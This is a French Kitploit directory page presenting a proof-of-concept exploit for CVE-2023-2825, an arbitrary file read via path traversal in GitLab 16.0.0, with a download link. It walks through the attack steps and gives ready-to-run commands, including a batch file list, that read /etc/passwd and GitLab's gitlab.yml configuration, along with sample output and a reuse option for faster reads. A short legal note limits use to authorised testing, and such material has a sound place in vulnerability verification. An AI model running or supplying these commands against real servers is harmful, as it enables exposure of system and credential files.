Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-2825-PoC — PoC pour CVE-2023-2825 : lecture automatique de fichiers arbitraires sur GitLab 16.0.0 via des groupes publics imbriqués, traversée de téléchargement de projet, chemins de téléchargement réutilisables, et sortie CLI propre. | Kitploit
Outils/GitHubGitHub/groppoxx/cve-2023-2825-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC pour CVE-2023-2825 : lecture automatique de fichiers arbitraires sur GitLab 16.0.0 via des groupes publics imbriqués, traversée de téléchargement de projet, chemins de téléchargement réutilisables, et sortie CLI propre.

Voir le dépôt
41il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-2825-PoC

Preuve de concept pour CVE-2023-2825, une vulnérabilité de lecture arbitraire de fichier dans GitLab CE/EE 16.0.0.

Le script se connecte avec un compte GitLab valide, crée la structure de groupe public imbriqué requise, crée un projet public, télécharge une pièce jointe et utilise le comportement vulnérable de traversée de chemin du téléchargement pour lire un fichier cible depuis le serveur GitLab.

Il prend également en charge la réutilisation d'un chemin de téléchargement existant, afin que vous n'ayez pas à créer de nouveaux groupes et projets pour chaque lecture de fichier.

Ce qu'il fait

  1. S'authentifie sur l'instance GitLab cible.
  2. Crée des groupes publics imbriqués en utilisant des chemins courts pour un emboîtement profond fiable.
  3. Crée un projet public dans le groupe le plus profond.
  4. Télécharge une petite pièce jointe dans le projet.
  5. Construit le chemin de traversée à partir du répertoire de téléchargement.
  6. Lit un fichier ou une liste de fichiers.
  7. Affiche un chemin de téléchargement réutilisable pour des lectures ultérieures plus rapides.

Prérequis

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Paquets Python requis :

root@kitploit:~
beautifulsoup4
requests
urllib3

Démarrage rapide

Les valeurs entre chevrons sont des espaces réservés. Remplacez-les par vos propres valeurs et n'incluez pas les caractères < ou >.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Espaces réservés

root@kitploit:~
<GITLAB_URL>   # URL de base GitLab cible. Exemple : http://gitlab.local
<USERNAME>     # Nom d'utilisateur GitLab valide.
<PASSWORD>     # Mot de passe GitLab valide.

Exemple complet

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Exemple de sortie :

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Obtention du jeton CSRF
[2026-05-17T18:20:10Z] [+] Jeton CSRF trouvé
[2026-05-17T18:20:11Z] [*] Connexion en tant que alice
[2026-05-17T18:20:11Z] [+] Connexion réussie
[2026-05-17T18:20:12Z] [*] Création de 11 groupes publics imbriqués
[2026-05-17T18:20:18Z] [+] Groupe créé : A1B-11
[2026-05-17T18:20:19Z] [*] Création du projet public
[2026-05-17T18:20:20Z] [+] Chemin de téléchargement réutilisable : /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Lecture du fichier : /etc/hosts

[+] Contenu de /etc/hosts
127.0.0.1 localhost

Réutilisation d'un chemin de téléchargement

Après une exécution réussie, le script affiche un chemin de téléchargement réutilisable :

root@kitploit:~
Chemin de téléchargement réutilisable : /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Utilisez-le avec --reuse-path pour ignorer la connexion, la création de groupes, la création de projet et le téléchargement :

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Vous pouvez également passer une URL complète et omettre --url :

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Lecture de plusieurs fichiers

Créez une liste de fichiers :

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Exécutez :

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Drapeaux optionnels

root@kitploit:~
--groups <N>
   Nombre de groupes publics imbriqués à créer. Par défaut : 11

--depth <N>
   Nombre de segments de traversée à utiliser. Par défaut : 12

--reuse-path <PATH_OR_URL>
   Chemin de téléchargement de projet existant. Ignore la configuration et lit directement les fichiers.

--only-final
   Masquer les journaux de progression et afficher uniquement le contenu des fichiers.

--no-color
   Désactiver les couleurs ANSI.

--debug
   Afficher le chemin de traversée généré pour le dépannage.

Remarques

  • L'exploit nécessite GitLab CE/EE 16.0.0.
  • Un compte GitLab valide est nécessaire pour créer les groupes publics imbriqués et le projet.
  • Le chemin vulnérable nécessite une pièce jointe dans un projet public imbriqué dans plusieurs groupes publics.
  • Des noms de groupes courts sont utilisés intentionnellement pour éviter les problèmes de création de chemins profonds dans GitLab.
  • Utilisez --reuse-path autant que possible pour éviter de créer des groupes et projets inutiles.

Légal

Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification des vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil